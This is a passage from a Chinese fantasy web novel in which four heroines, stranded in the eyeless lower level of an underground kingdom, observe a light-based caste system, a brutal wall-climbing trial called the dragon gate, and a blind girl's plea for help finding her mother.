小童子和小龙女忽然明白,在这个没有眼睛的下层,安静反而是一种危险。 她们以为自己偶尔静止观察是隐蔽,却在这里成了听不见、突然挡在路上的怪人。 小龙女看着那个小孩,轻声道:“抱歉。” 那小孩侧头听了听,像是满意了一点,又摸索着爬起来,顺着岩壁爬走了。 小龙女和小童子拉着李秀宁和铁心兰离开,边走边把自己的观察耳语告诉两人。 四人就这样一点点远离住宅区,身后的孩子嬉闹声、老人咳嗽声、洞坑里压低的交谈声渐渐淡去,周围重新变得空旷。 可空旷并没有带来安全,小童子和小龙女停在一处较高的岩石边,向四周看去。 她们所在的地方像一条极深的沟底,两侧岩壁高得惊人,直直往上没入黑暗。那些岩壁并不平整,表面布满湿滑水痕和苔泥,偶尔有凸起石块,却被地下水冲得圆滑。更高处没有路,也没有可以攀援的石阶,只有黑沉沉的岩面压下来。 她们一路走来,也没看见能通回上层的坡道,这里的人似乎本就不需要上去。 小童子和小龙女仰头看了很久,若内力还在,这样的岩壁虽高,未必不能试。 可如今她俩提不起气,轻功使不出来,望着上方黑暗,忽然生出一点久违的沮丧。 小童子下意识去牵小龙女的手,小龙女几乎同时回握住她。 两人都没有说话,只是柔软的指尖相触,掌心慢慢贴合。起初只是寻一点安慰,在陌生黑暗里确认对方还在身边。 可没过多久,小童子和小龙女忽然怔了怔。 她们之前便已察觉过,只要两人相贴,枯竭的内息仍会被彼此牵动,在两人体内缓慢游走。可那时只是极细极弱的一缕,像灰烬底下将灭未灭的火星,只能证明她们还没有彻底油尽灯枯。 此刻却不一样,两人掌心相扣后,那点原本若有若无的内息竟比先前清晰了些。仍旧很慢,也仍旧微弱,可这一点变化落回丹田时,她们都清楚察觉到,体内多了一点内力。 只有一点,却比方才各自调息时明显得多。 若说先前内力像干涸河床里偶尔渗出一两滴水,那么此刻两人掌心相贴,便像那些水滴竟连成了一线极细极细的水流。那水流细到若不仔细内观,几乎难以察觉。只是她们自从练内力剑后,早已养成时时细察自身内息的习惯,才在这一点细微变化里,发现两人体内的气息又有了不同。 两人目光相触,眼中都有一点惊讶,却又很快稳下来。 李秀宁见两人迟迟不动:“怎么了?” 小龙女略一沉吟:“这里的环境,以我们现在的内力,很难上去。两边岩壁太高,也太湿滑。我们需要静坐,专注恢复内力。或许只有内力恢复,才能带我们上去。” 小童子接着道:“若要找这里通往上面的路,也需要更多时间观察这些人,看他们是否有能上去的道路。” 铁心兰听完,语气里满是不可置信:“怎么会?这里就没有楼梯、斜道,或者供他们上去的地方?” 小童子摇头:“暂时没看见。” 小龙女道:“至少附近没有。” 铁心兰沉默了一下,显然也想起那些被扔进洞里的下层配额。 若上层不想让下层的人随意上去,那么没有明显道路,反倒很合理。 李秀宁凝眉思考片刻,道:“我们不止要回到上面,还要下湖底拿控水模块,再找到路回到圆形裂缝,从那回沙漠绿洲。每一步都要内力和体力支撑,所以先找地方恢复内力吧。” 铁心兰低声叹气:“行,先恢复。” 几人商量好,便沿着沟底继续往偏僻的地方去。 她们不敢占用那些明显有人居住的洞坑,也不敢太靠近人多的地方。最后,小童子和小龙女在一处偏僻角落找到一块稍稍干燥的地方。那里背靠岩壁,前面有几块碎石遮挡,旁边滴水声较远,地面虽仍潮,却不像别处那样一踩一脚泥。对她们此刻来说,这已经难得。 李秀宁摸索着坐下,背靠石块。铁心兰一边嫌弃衣服上的泥,一边也找了个位置盘腿。她们两人内力未尽,只是消耗不少,此时也需要调息。 小童子和小龙女坐得很近,近到肩膀相贴。两人仍旧牵着手,掌心相扣后,她们同时闭上眼,静心内观,只专注引着那点内息缓慢运行。 这样合力调息,比她们各自苦守丹田时稳得多。原本散乱的细息被彼此牵住,虽仍细弱,却不再一触即散,渐渐能在经脉里续成完整一线。 两人心中一喜,便更沉静地守住那一点内息,让它在两人体内一圈一圈往复流转。 黑暗里越来越静,远处住宅区的人似乎开始睡了,孩子的玩闹声和人们压低的说话声都慢慢消失。更远处,那投放下层物资的黑洞里,争抢声也渐渐低下去,只余几声咳嗽和哭腔。水滴从岩缝落下,一滴,一滴,像替她们数着内息运行的周天。 不知过了多久,一阵极轻的爬行声从远处传来,小童子和小龙女同时睁开眼。 那声音越来越近,李秀宁和铁心兰也随之睁开眼。可四周太暗,她们看不见来者,只能听见细细的摩擦声一点点贴近。 有东西在靠近,不,不是东西,是一个小孩。 小童子和小龙女看见一个只有正常人类五岁大小的孩子,从黑暗里慢慢爬过来。那孩子背上背着一个小小的包,包不像布做的,倒像是用泥捏成的,软软贴在背后。孩子身上衣服破旧,膝盖和手掌上都磨出厚茧,动作很轻,也很谨慎。 那孩子鼻子上方没有眼睛,只有一片空空的皮肤。 她似乎察觉到这里多了人,原本流畅的爬行动作停了一下。 小童子和小龙女没有动,只是静静观察眼前的小孩。 那孩子侧着脸,像是在听她们的位置。过了一会儿,她才慢慢往这边爬来。 她在小童子和小 龙女旁边一点的地方停下,那里有一小块凹陷,背靠岩壁,比周围稍干。她把背上那个小小的泥包卸下来,放在一旁,又伸手在旁边泥块里摸索。 很快,她从泥块底下扒拉出一小块饼。那饼颜色灰绿,边缘长着一点暗色斑点,像是腐败后的发光菌混着泥土压出来的。闻起来没有香味,只有淡淡霉气和土腥。 孩子却很珍惜,她两只手捧着那小块饼,一点一点地咬。每咬一口,都要停下来,鼻子微微耸动,确认周围有没有人靠近。 小童子和小龙女两人忽然几乎同时明白过来,为什么这小块地方比别处干燥,为什么岩壁背后有一点点凹陷。 这里不是无主的角落,这是这个孩子的家。 这块微微凹进去的岩面,大约是她一点一点刨出来的。地上这一点干燥,也不是天生如此,而是她一次次把湿泥刮开、把水引走、用手脚踩实踩干,才勉强处理出来的一小片可以蜷缩身体的地方。 她们四个外来者,找了半天才找到的“偏僻干燥处”,竟正好占了人家小孩子的家。 小女孩那一小块菌饼吃得很慢,每咬一口,她都会停下来,用鼻子轻轻嗅一嗅,又把剩下的饼往怀里藏一点,像怕黑暗里突然伸出一只手把它夺走。 四个人都没有说话,李秀宁和铁心兰看不见她,却从那细小咀嚼声里听出一点小心翼翼。小童子和小龙女看得更清楚,看见小女孩膝盖上磨出的厚茧,看见她指甲缝里的泥,看见她把最后一点碎屑也从掌心舔干净。 那块饼被吃完后,小女孩把小小泥包重新抱在怀里,身体慢慢蜷进岩壁那点凹陷里。 不多时,她睡着了,呼吸轻得像一线风。 四人和这个小女孩,就这样在偏僻的坑洞里相安无事地待了很久,至于究竟过了多久,谁也说不清。 下层一片漆黑,远处住宅区安静下来后,只偶尔传来咳嗽和翻身时的轻响。时间在这里不像流动,更像一团压在头顶的黑泥,沉沉地覆盖着所有人。 铁心兰忍了一阵,终于受不了这种分不出时辰的感觉,悄悄翻自己的背包。 她摸出几块湿透的绷带,又摸出一包压缩饼干,最后还摸到半截已经进水的弹匣。她原本想找手表,或者任何能看时间的东西,可翻来翻去都没有。 倒是从包底摸出一张卡牌,铁心兰把卡牌夹在指间,无聊似的转了一下。 这东西在小童子和小龙女身上显示得乱七八糟,到了这里又被水泡过,她甚至怀疑卡牌早坏了。她随手对着眼前黑暗按了几下,卡面毫无反应,没有亮,也没有那声熟悉的“滴”。 铁心兰撇了撇嘴,心想果然坏了。 她又虚虚把卡牌转向小童子和小龙女所在的方向,可四周太暗,她什么也看不见,卡牌没有对准两人,反而正正扫到蜷缩着睡觉的小女孩。 极微弱的一声响起:“滴。” 声音很轻,却在这片安静里显得格外清楚。 小童子和小龙女同时看向声音来源。 卡面微微亮起,几行字从透明纹路里浮出来。 姓名:星火 世界:《地底熔河国》 理智值:100 82.矿场 铁心兰怔住了,李秀宁的目光也落到卡牌上的文字,心底掠过一个念头:地底熔河国,这里莫非就是《地底熔河国》的世界? 还有这孩子的理智值,居然是完整的一百。这一路走来,她和铁心兰从未见过一百的理智值。 铁心兰想起小龙女和小童子的卡牌信息异常,她再次将卡牌转向,往小龙女的方位扫去。 卡面再次轻轻一亮。 姓名:小龙女 世界:《神雕??》 理智值:?? 铁心兰指尖一顿,又把卡牌对准小童子。 “滴。” 姓名:?? 世界:??? 理智值:??? 同一张卡牌,刚刚还能清楚显示星火的名字和来处,落到小龙女与小童子身上,却仍旧是一片残缺乱码。 几人都沉默下来,明显察觉乱码不是因为卡牌坏了,而是另有原因。 就在这时,远处上方忽然传来规律的敲打声,咚!咚!咚! 那声音不是从她们所在的沟底传来,而是从更高、更远的岩壁上传来。每一下间隔都很稳,像有人用重锤敲击巨大的金属器具,沉闷里带着一丝的颤音。敲打声沿着高墙传下来,在下层住宅区里一层层回荡。 原本熟睡的星火动了一下,她先是鼻尖轻轻耸动,随即手指摸向身边的小泥包。确认泥包还在,她便像小兽一样伸了个懒腰,把身体从凹陷泥洞里慢慢舒展开,手掌按住地面,活动了一下膝盖和脚踝。 敲打声还在继续,星火背上泥包,朝声音传来的方向爬去。 小童子看着她离开,低声把情况说给李秀宁和铁心兰听:“小孩醒了,往敲打声那边去了。” 铁心兰把卡牌收回,立刻道:“要跟吗?” 小龙女道:“跟去看看?或许能有新的发现。” 李秀宁赞同:“小心些,我们别离太近。” 四人起身隔着一段距离跟在星火后面,星火在前面爬得不快,却很稳。 四人跟着她穿过住宅区,住宅区正在苏醒。一个个洞坑里,有人慢慢爬出来。大人摸索着从坑洞里拿出工具,有的是缺了一半的石镐,有的是磨得极薄的铁片,有的是一截绑着骨片的短棍。许多人背上都背着和星火相似的泥背篓,有大有小,形状粗糙,却都被反复修补过。 稍大些的孩子们也背上小背篓,跟在大人身后;小一些的则留在坑洞里和行动不便的老人待在一起。 人群向同一个方向汇去,四人远远坠在人群最后。 队伍行进得很慢,却并不混乱。他们背着工具和泥背篓,用手掌探路,用脚尖撑地,以脚步声确认彼此的位置。偶尔有人撞到别人,便低声道歉,再重新挤入人流。背篓和石镐等工具在黑暗里轻轻磕碰,所有人都像潮水一样涌向更深的洞道。 跟着人流转过几道湿暗弯洞后,前方洞道忽然变宽,那里像一处巨大的矿场。 岩壁从两侧向上高高拱起,顶端看不清。地面被踩得很平,岩壁分出许多条狭窄通道,通道两边有矮矮的石桩,石桩上挂着骨牌,每块骨牌都刻着不同符号。 有人从岩壁中部高度爬下来,那些人和这里的人不同。 他们脸上有眼睛,只是那眼睛长得不全。有的只有一只,有的眼珠很小,有的眼皮黏连,睁不开太大。 人群听见上方传来的攀爬声,都自觉停住。那些有残缺眼睛的人背着更好的工具,腰间挂着骨哨和石牌。他们站在几条通道口,声音冷硬地分派队伍。 “你去菌田洞。” “你去矿田洞。” “你去找水脉,可以挑耳朵灵的同伴一起过去。” “小孩去碎菌区,不许偷吃。” 星火被分到碎菌区,她背着小泥包和一群比大她的孩子爬入其中一个通道。 人群很快消失在各个洞口里,那些洞口低矮狭窄,有的只容一人爬入,有的还不断往外渗水。 小童子和小龙女看见他们背着泥背篓,摸索着钻进黑暗深处。里面没有光,也没有平整道路,只有工具刮过岩壁的细响,和人用指节敲石辨声的闷声。 有残缺眼睛的那些人则留在洞口外面,坐在石桩旁,手里拿着黑色石板和尖细骨笔。 最先有动静的是碎菌区,几个小孩背着暗淡的菌子爬下来,泥背篓鼓鼓囊囊,里面装着一团团湿软的菌块。星火也在其中,她背得不多,甚至是最少的那部分孩子。 他们爬到石桩前时,先发出一声极轻的嗡鸣,才小心开口:“我们装满了背篓,捡到这些,触摸的感觉是发光菌子。中士,你们看看是不是发光菌?” 那些有残缺眼睛的人被恭敬地称为中士,他们几乎把脸贴到菌子,残缺的眼睛微微颤动,似乎在极近的距离里辨认那一点点光。辨了好一会儿,其中一人才用骨笔在石板上刻下一道浅痕。 “碎菌一篓,微光,记半。” 另一个孩子急急把自己的背篓推过去:“我的比她多!” 中士摸了摸,又把脸贴近看:“多,但品质不好,记半。” 孩子不敢争,只抱着背篓重新返回洞中。 再远些的矿田洞也有人出来,他们背篓里装着矿块。有些石头灰扑扑的,并不发光,可中士用指节敲了敲,又用骨针划过表面,听声辨硬度;另一些石头则藏着极淡光点,要凑得很近才能看见。 “硬矿,质地可用,记一。” “矿光石碎粒,记一。” “松石,不能用,不记。” 水脉洞出来得最慢,有几个耳朵极灵的下层人爬出来,手里紧紧攥着刻了符号的骨片。中士接过骨片后,没有立刻记功,而是点了两个人,跟着那几个寻找水脉的人重新钻回洞里。 留在外面的中士继续登记菌子和矿石,偶尔抬头听一听水脉洞里的动静。等前面几批人都重新钻回洞里,那两个跟去的中士才从洞里出来,身上多了许多湿泥。 留在地上的中士问:“水脉如何?” 其中一人甩了甩手上的泥,冷淡道:“假水脉, 没用。” 那几个报水脉的下层人顿时沉默下去,默默返回洞中。 小童子和小龙女看了很久,她们渐渐明白,这些人的等级并不只是衣服和物资分配不同。 这里的光,本身就是等级。住在下层的人完全照不到光,久而久之,眼睛退化,甚至彻底消失。 住在石壁中层的人,能照到一点点光,便长出残缺眼睛,能辨光影,便能做监工和记录。 住在上层的人在更亮的地方生活,眼睛发育完整,能看清更多东西。 铁心兰听完小龙女低声解释,忍不住道:“这不就是从出生开始就注定了以后的生活?” 没有人回答她的话,因为不用回答内心就有了答案。 小童子和小龙女默默看了许久,钟声再次响起,咚,咚,咚。她俩同时抬头,这一次,她们听出来了,声音就在上方。 那声响从极高的岩壁上方传下来,沿着湿滑石壁一层层落进矿场。下一刻,所有洞口都有了动静。人们拖着疲惫身体从各个洞里爬出来,背着泥背篓,拿着残缺工具,慢慢聚集到中士面前。 小童子和小龙女看见许多人的手脚都在发抖,衣服被泥水浸透,膝盖和手肘沾满湿土。有人背上的背篓几乎是空的,有人背篓里只有几块硬矿和一点碎菌。可所有人仍排起队,一个个等着中士清点贡献。 与此同时,有不少中士从石壁中间爬下来。他们背着一筐筐菌饼,也带来干净一些的石板和骨笔。清点贡献的中士负责发放菌饼,另一些中士则把人们采出的发光菌、发光矿石和硬矿往上背。 上交的东西被一筐一筐送上石壁中间那一层,发下来的东西却只是一小块一小块的菌饼。 星火排在孩子队伍里,她交上半包碎菌,换到一小块比指节还小的灰绿菌饼。她把那块饼小心放进泥包里,没有立刻吃。 等所有人的贡献都被清点完,中士摸索着自己的骨板,确认最后一个名字也念完,才抬起头,高声道:“龙门开放,愿者上前。” 人群里顿时响起一片嗡嗡声,那声音比平时走路定位的嗡鸣更密,更乱,像一片低低翻动的潮。有人欣喜,有人担忧,有人压低声音劝阻。 很快,两女一男从人群中走了出来,他们把背篓和工具放到一边。 三人都很瘦,手脚上满是新旧伤口,衣服也湿得沉重。可他们仰头面对那片高得几乎看不见顶的石壁时,脸上的麻木竟一点点松动了。有人微微张开嘴,有人攥紧手指,像是在黑暗里望见了什么遥不可及的光。 小童子和小龙女顺着他们面向的方向望去,矿场尽头,有一道极高的石壁。 那石壁比她们在这沟底看见过的所有岩壁都要高,石面天然起伏,凸出的石脊和凹陷的裂缝蜿蜒向上,勉强形成一条可供攀附的路。 上方岩层偶尔渗出水滴,沿着石面慢慢滑落,虽不成流,却足以让石棱变得湿滑。更高处有一圈发光菌照亮的拱门,微弱光芒从那里漏下来,照得半截岩壁泛白,那道门便是所谓的龙门。 83.龙门 三人开始攀爬,最先往上的是个男人。他动作最快,手指扣住石缝,脚尖踩上窄窄凸起,一点点往上挪。起初还能稳住,可没多久,他手臂便明显发抖。上了一天工的人,早已没多少力气,湿滑岩壁又不给半点喘息。 他忽然错手,喉咙挤出一声短促惊叫,整个人从石壁上摔了下来。沉重的闷响,身体砸在地面上,震得附近几人同时一颤,人群响起一片惊呼。 那男人闷哼一声,半天没能爬起。他的亲属立刻扑上去,抱住他低声哭泣。小童子和小龙女听那落地声,便知道他伤得不轻。 没多久,第二个女子也撑不住了。她下落时没有完全失控,双手在岩壁上拼命扒拉,几次借到一点力,减缓了坠势。落地后,她踉跄几步,勉强还能自己站住,只是走起来一脚深一脚浅,很不稳。 最后一个女子爬得最久,她不像前两人那样急,每一步都摸得很准。她一点一点往上,终于爬到石壁中间点附近。那里已经比大多数人能到的地方高许多,可离上方发光拱门仍远得像另一个世界。 她停在那里很久,手指扣着湿石,胸口起伏得厉害。 再往上,她再也上不去了,那女子低低叹了一口气,开始一点一点往下挪。她没有摔,最后安全落地,可落地后便坐在石壁旁许久没有动。她低着头,身上的泥水一滴一滴落在地面上,看起来比摔下来的人还要低落。 中士们听到三人都落地后,敲了敲骨板:“还有没有人要跃龙门,没有的话就此结束。” 人群里沉默片刻,又有一个男子走了出来。 低低的私语声立刻从四面八方浮起。 “又是子语,他隔几天就要试一次。” “一大家子供养这么一个金叵罗,好吃好喝的都给他,全家的希望都压在他身上了。” “说全村的希望也不差,这年头,还有谁能吃得那么饱,练得那么壮?” “要是他爬上去了,也和以前那些人一样,再不管家里,那他一家人可就亏死了。” “他不像那些人。” “谁知道呢?上去就是龙了,人家物种都变了,还能记挂你这穷亲戚?” “哼,爬上去也长不出眼睛,指不定还要被上面的人折磨。” “你就是忮忌。” …… 那个叫子语的男子没有立刻上前攀爬,他先爬到方才最后落地的女子身边,同她说了几句话。女子抬起手,似乎在他手心点了几下,他便点点头,转身爬向石壁。 他的身形比前三个人都要健壮,气息也更稳。真正攀上去时,他一点都不急,手指先试过石缝,脚尖再一点点踏实,每一步都慢得近乎笨拙。 小龙女一直望着他,默默记下他的落脚处和发力方式。 不知过了多久,子语竟稳稳攀到了石壁中段。 再往上时,湿滑的石面忽然夺走了他的力道。子语整个人往下一坠,但他十指猛地抠进石缝,指甲当即翻裂,掌心也被磨出血来。 他硬生生停住下滑,伏在石壁上喘了很久,才重新抬起手。 越往上,石壁越滑,能借力的地方也越少。有一回,他脚下的凸石突然松脱,整个人向下栽去。小童子心口一紧,却见他借着下坠之势猛地蹬壁,身体斜斜扑向左上方,左手死死扣住一块凸石,手臂上的筋肉瞬间绷起。 这样的险境接连出现,血和汗混着石壁上的水往下淌,原本发白的水痕渐渐变得浑浊。到后来,他的手指几乎磨得见骨,脚板和膝盖也被石棱刮得血肉模糊。有几次实在无处借力,他甚至张口咬住石棱,崩断的牙齿混着血沫落下去。 小龙女和小童子好几次都以为他要摔下来,可每一次,他都摇摇欲坠地稳住了。 时间被拉得很长,长到地上的人再也没有半点声息。 就在死寂压到极处时,上方忽然响起短促的鼓声。 咚!咚!咚!咚!咚! 死寂轰然碎开! 小龙女和小童子抬头望见子语站在发光菌旁,整个人摇晃得几乎站不稳,但很快便有人从拱门后冲出来扶住他。 子语却挣扎着转过身,朝下方嘶声大喊:“爸妈!哥哥嫂嫂!妹妹!我会回来接你们的!” 沟底爆发出狂热的惊叫! “他成功了!他居然成功了!” “跃龙门了!跃过龙门了!” 欢呼声一浪高过一浪,上方的人扶着子语离开拱门,他的身影很快消失在小龙女和小童子的视线里。 地上的人却仍在欢呼,有人彼此拥抱,有人摸索着向子语的亲人道喜。小童子和小龙女甚至看见,几个成年人欣喜地向身边小小的星火说话。 铁心兰听见那些话,便知道有人真的爬上了龙门,心里也跟着松快了一瞬:“跃过龙门就成人上人了啊,那小子一家还蛮有福气的。” 中士的声音被欢呼压得很淡,仍旧按规矩传开:“龙门挑战结束,上工结束。” 人群安静了一瞬,随后,欢呼声重新响起,只是比方才低了许多。众人开始稀稀拉拉地往回爬,有人背起工具,有人背起或受伤或太过疲惫的亲属,有人摸索着去找自己的孩子。 李秀宁和铁心兰只是大致听懂事情的原委,却看不清黑暗中究竟发生了什么。小童子和小龙 女便压低声音,将那道高而湿滑的石壁、四人攀爬的情形说给她们听。 铁心兰听得眉头越皱越紧,没了刚才的欢乐:“上了一天工,哪还有力气爬这种东西?欺负人啊!” 李秀宁神情冷淡,她本就是上层出身,太清楚这种规矩为何而设:“这是故意设计的结果,门在那里,路也在那里,可人偏偏是在最没力气的时候去爬。爬不上,是你自己不够本事;摔下来,也是你自己命薄。只有那些举全家族之力的人,尚有一线希望。” 铁心兰听完,胸口那股火气反而更重了。她气龙门,气那些中士,也气这套把人困在下层还要怪人爬不上去的规矩。 甚至连带着,她看李秀宁都不顺眼了一瞬。李秀宁明明什么也没做错,可她的话,偏偏让铁心兰明白:这种规矩是那些高高在上的人设定的。 李秀宁听出她呼吸不对,没有辩解,她只是沉默地站在黑暗里。 铁心兰低头摆弄着手里的卡牌,卡牌边缘被她指腹摩挲了几下,她忽然想起之前星火的信息。 人群放工的声音还在往四周散开,嗡鸣声、脚步声、工具拖过地面的声响混在一起,像一条疲惫的暗流。铁心兰看不见他们,只能凭声音判断方向。她抬起卡牌,对准那片黑暗里正在离开的人群,不断轻轻按下边缘。 “滴。”卡面亮了一下。 姓名:无关人员 世界:《地底熔河国》 理智值:100 铁心兰呼吸一顿,她又把卡牌往另一处声响转去。 “滴。” 姓名:无关人员 世界:《地底熔河国》 理智值:100 再扫,“滴。” 姓名:无关人员 世界:《地底熔河国》 理智值:100 小童子和小龙女能看见卡面亮起,也能看见那些文字一次次浮现。 偶尔,卡牌上也会跳出有名有姓的信息。 姓名:咖南 世界:《地底熔河国》 理智值:100 又一次。 姓名:子缘 世界:《地底熔河国》 理智值:100 无论是无关人员,还是有名有姓的人;无论是孩子,还是被人背着离开的伤者。 他们的世界都清清楚楚地显示为《地底熔河国》,理智值也都是完整的一百。 铁心兰捏着卡牌,许久没有说话。 四人站在昏暗矿场边缘,听着众人放工后稀稀拉拉离开的声音,也窥见了这个地底国家另一副模样。 84.窥天镜 放工的人群沿着来时的路,慢慢往住宅区爬回去。 小童子四人坠在人群后方,不远不近地跟着,越靠近住宅区,说话声便越多,越密,也越轻快。 李秀宁和铁心兰依旧看不清,小童子和小龙女却看见了更多细节。有人摸到自家洞口,立刻被洞里的孩子扑上来抱住。 一个狭窄洞坑里,一家五口挤在一起。女人把换来的有限菌饼掰碎,揉进一点灰白肉泥里,再分成几小团,一团给老人,一团给孩子,自己只舔了舔指尖上沾到的碎屑。 孩子们一个一个低头闻,像闻到什么难得的香味。那团食物又灰又绿,里面夹着被捣得看不出形状的细碎东西,边缘还沾着泥,隐约有一点腥气。分到每个人手里时只剩一点,却仍被他们吃得很珍惜。 也有人没有食物,一个老人摸索着从洞边挖出一团湿泥,用手心一点点团圆,压成饼状,递给旁边的孩子。那孩子似乎早已习惯,接过去后先放到鼻尖闻了闻,才小口咬下。泥饼被咬开时,里面没有任何香气,只有潮湿土腥味。 小童子脚步微微一顿,小龙女怔了怔,两人不由地想起第一次下山时,看到树皮被人啃过的痕迹。 铁心兰听见她们脚步慢了,小声问:“怎么了?” 小童子把自己看见的说了,铁心兰半晌没有说话,只低低骂了一句:“这鬼地方。” 李秀宁也沉默下来,她虽出身贵胄,却也见过灾年里的流民;可眼前这些人的日子,竟像把灾年熬成了寻常,年复一年。 四人重新回到先前那片偏僻洞坑前,星火却还没有回来。 小龙女站在洞前看了一眼,那一点干燥的凹陷还在,泥包留下过的浅痕也还在。她没有再进去,只转身带着小童子、李秀宁和铁心兰去了对面一处岩壁下。 那里比星火的小洞更潮,地面也不够平整,手掌一按便能摸到湿意。可明白先前那处是星火的家后,小龙女与小童子都不好意思再去占着。 小童子看了看脚下,倒也干脆,撩起青色风衣便坐下:“反正我们身上也没几处干净的。” 铁心兰闻言摸了摸自己袖口,摸到一手发硬的泥,顿时叹气:“也是,讲究不了。” 李秀宁坐得比她稳些,闭上眼便开始调息。铁心兰虽然嘴上抱怨,却也没有浪费时间,靠着岩壁坐下,慢慢平复呼吸。 小童子和小龙女则自然地牵住手,两人掌心相贴,那一线细弱内力便在彼此经脉间缓缓流转。她们心神同时沉了下去,一齐落在那点内力上。两份心力叠在一处,便像多了一只无形的手,轻轻推着那一线内力往前走。原本迟缓的流转渐渐快了些,虽仍微弱,却比先前顺畅许多。 时间又不知过去几何,住宅区从放工后的热闹,慢慢归于安静。孩子们的玩闹声没了,大人们分食菌饼的细碎声音也渐渐消失,只剩抹不去的咳嗽、翻身,以及远处水滴落下的轻响。 就在小童子和小龙女察觉内力约莫恢复了一成时,一阵极轻的爬行声又从远处传来。 这一次,那声音比白日更轻,更慢,像是有人刻意放缓了动作,不想惊动旁人。若不是内力恢复了些,她们恐怕也会让这点细响混在咳嗽与水滴声里漏过去。 小童子和小龙女同时睁眼,看向声音来的方向。黑暗中,一个小小的身影贴着岩壁爬来,泥包背在背后,头微微偏着,是星火。 她先爬回自己的小洞前,却没有进去,只停在那里,鼻尖快速耸动,像是在空气里摸索什么。片刻后,她又偏过头,一边细细嗅闻,一边朝四人所在的方向爬来。 小童子和小龙女对视一眼,都有些疑惑。李秀宁和铁心兰听见动静,也从调息中醒来,手已经摸向身边兵器。 星火在她们身前不远处停下,她似乎犹豫了一下,手指抓紧地上的泥土,又慢慢松开。过了片刻,她像是终于下定决心,小声开口:“请问……你们是来自地上的人吗?” 四人没有说话,星火又问:“你们能看吗?” 李秀宁和铁心兰看不见她的表情,却听出这句话里藏着一点紧张和期待,她俩的戒备更深了些。 小龙女的声音仍很平静:“我们应该是你口中的地上人,也能看见周围。不过你是怎么发现我们的?” 星火没有立刻回答,她先往四周听了听,确认附近没有其他人,才压低声音道:“因为我是闻出来的。” 小童子扫了众人一眼,又低头看了看自己。四人身上都沾满泥巴,她实在想不出还能有什么独特气味。 星火认真道:“你们虽然用泥巴盖住了身上的气味,旁人大概闻不出别的。可我的鼻子比大多数人都灵,你们在我家里时离我那么近,我能闻到泥味下面,还有很淡很淡的香气。那气味不属于下层,不属于中层,甚至也不属于上层那些人。” 她抿了抿嘴:“所以上工的时候,我一直在想,你们会不会是地上人。” 小童子觉得这小孩有些聪明,忍不住问:“你为什么要纠结这个问题?” 星火微微侧过头,把耳朵朝向她们,她所有注意力都落在了她们身上:“因为我需要你们的帮助。” 星火的声音很轻,却很清楚:“我的妈妈以前爬过龙门,她爬了上去。” 几人心中同时一动,铁心兰更是惊讶,连嘴都微微张开了。 星火继续道:“她以前常和我说,等她成了上士,就会接我上去一起生活。成了上士的人,可以把家人也接到上面去。” 她说到这里,手指又抓了把泥,许久没有出声。等她慢慢松开手时,泥土从指缝里簌簌落下:“我等了很久,她一直没有回来。别人说她过上好日子,忘了我。我不信!我的妈妈不会忘记我!她一定是遇到了什么事,不能回来。” 小龙女看着她,声音放得很轻:“所以你想去上面找她?” 星火点头:“我想看一眼上面,想看一眼妈妈。只要她过得好 ,哪怕……哪怕她真的不要我了,我也没关系。我已经九岁了,能照顾好自己。” 看着眼前这个瘦小得厉害的孩子,小童子和小龙女都不由地皱起眉,小孩身形瞧着不过五岁左右,怎么也想不到她已经九岁。只这一点,便足够让人明白,她这些年过得有多不好。 星火接着说:“以前大家还有眼睛的时候,曾经做过一个水棱镜,称为窥天镜。它装在水系枢纽里,可以借着水和光看见上层。可唯一用过窥天镜的人把它毁了,后来物资越来越少,凭一个人根本凑不齐材料。从那以后,大家再也不知道上面是什么情况。” 铁心兰忍不住道:“难道你们修好了?” 星火听见陌生声音,身体本能地缩了一下,又很快稳住:“因为不满上层的人越来越多,不只是我们下层,也有一些中层的人。大家暗中收集材料,放工后一点点打磨,才终于把新的窥天镜做出来。刚刚我们偷偷去试装过,旧设备还能用,可中层人的眼睛不好,就算有了窥天镜,也看不清上面的情形。” 她停了一下,脸上却露出一点执拗:“如果你们真的能看见,我想请你们帮帮我们。” “这里没有通往上面的路,除非从窥天镜里看见有用的信息,否则你们也会和我们一样,被困在这里。” 这话说得直白,却很有道理。 铁心兰听到这里,已经按不住性子:“好,我们帮你。” 李秀宁却没有立刻同意,她低声问:“你们有多少人参与这件事?” “参与的人大概有百来个。”星火道,“但每次碰头都只有几个人,人一多就容易被发现。这次去试装窥天镜的,下层有七个人,中层有两个人。” 李秀宁听了,认为这群人还算谨慎,思量一下,便答应:“好,我愿意帮你们。” 小童子和小龙女对视一眼,帮星火看一眼上层,既是帮她们,也是帮自己找出路。 小龙女和小童子道:“你带路吧。” 星火明显高兴起来,连呼吸都轻快了些:“谢谢你们!” 她转身带路,又急急补充:“请你们一定要安静,下层和中层都会听声辨位,我们不能被发现。” 四人便跟着她走,星火这一次没有走主路。她带着她们贴着住宅区边缘绕行,避开还未彻底睡熟的人家。她对道路非常熟悉,哪里有浅坑,哪里有积水,哪里踩下去会发出空响,她都记得清清楚楚。 小童子和小龙女越跟越觉得惊讶,星火在黑暗里几乎不用停顿,她用鼻子辨认潮气,用手掌摸过地面的凹凸和裂缝,用耳朵分辨远处的嗡鸣、水声与脚步。这和她们在古墓黑暗中练出的目力、耳力、嗅觉并无不同,都是被长久黑暗磨出来的本事。若星火有眼睛,那也一定会是一双极锐利的眼。 她们来到一处更偏僻的岩壁前,这里地面更湿,空气也更冷。 星火停下,抬手在石壁上轻轻敲了几下,三短,两长,又一短。